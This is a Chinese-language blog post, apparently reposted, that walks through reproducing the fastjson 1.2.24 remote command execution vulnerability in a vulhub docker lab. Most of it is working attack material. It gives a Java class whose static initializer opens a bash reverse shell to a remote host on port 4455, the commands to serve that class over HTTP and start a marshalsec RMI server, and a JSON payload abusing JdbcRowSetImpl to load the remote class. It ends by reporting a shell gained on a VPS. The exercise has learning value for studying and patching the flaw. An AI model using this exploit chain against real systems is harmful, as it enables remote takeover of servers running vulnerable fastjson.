fastjson遠程命令執行漏洞復現


fastjson遠程命令執行漏洞復現

使用vulhub提供的docker環境:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

在192.168.199.225目標機器上運行測試環境:

docker-compose up -d

 

 

訪問目標機器,正常訪問。

 

編寫Exploit:

 1 // javac TouchFile.java
 2 import java.lang.Runtime;
 3 import java.lang.Process;
 4 
 5 public class TouchFile {
 6     static {
 7         try {
 8             Runtime rt = Runtime.getRuntime();
 9             String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xxx.xxx.xx/4455 0>&1"};
10             Process pc = rt.exec(commands);
11             pc.waitFor();
12         } catch (Exception e) {
13             // do nothing
14         }
15     }
16 }

編譯成TouchFile.class,並放置在使用python開啟的http服務下(我們的攻擊機192.168.199.137):

python2 -m SimpleHTTPServer 3333

在攻擊機192.168.199.137上使用marshalsec開啟RMI服務:https://github.com/mbechler/marshalsec 

從github上下載下來后,使用maven編譯:

mvn clean package -DskipTests

然后

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.137:3333/#TouchFile" 9999

此時就會監聽9999端口的RMI服務:

 

 

 

在公網vps上監聽4455端口:

此時構造POC,向目標機192.168.199.225發出請求:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.199.137:9999/TouchFile",
        "autoCommit":true
    }
}

你會發現響應包一直在等待中,然而這是正常的

 

 

 

 

在公網vps上成功得到交互式bash!

 

 

 

RMI核心特點之一就是動態類加載,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class

 

https://www.freebuf.com/column/189835.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM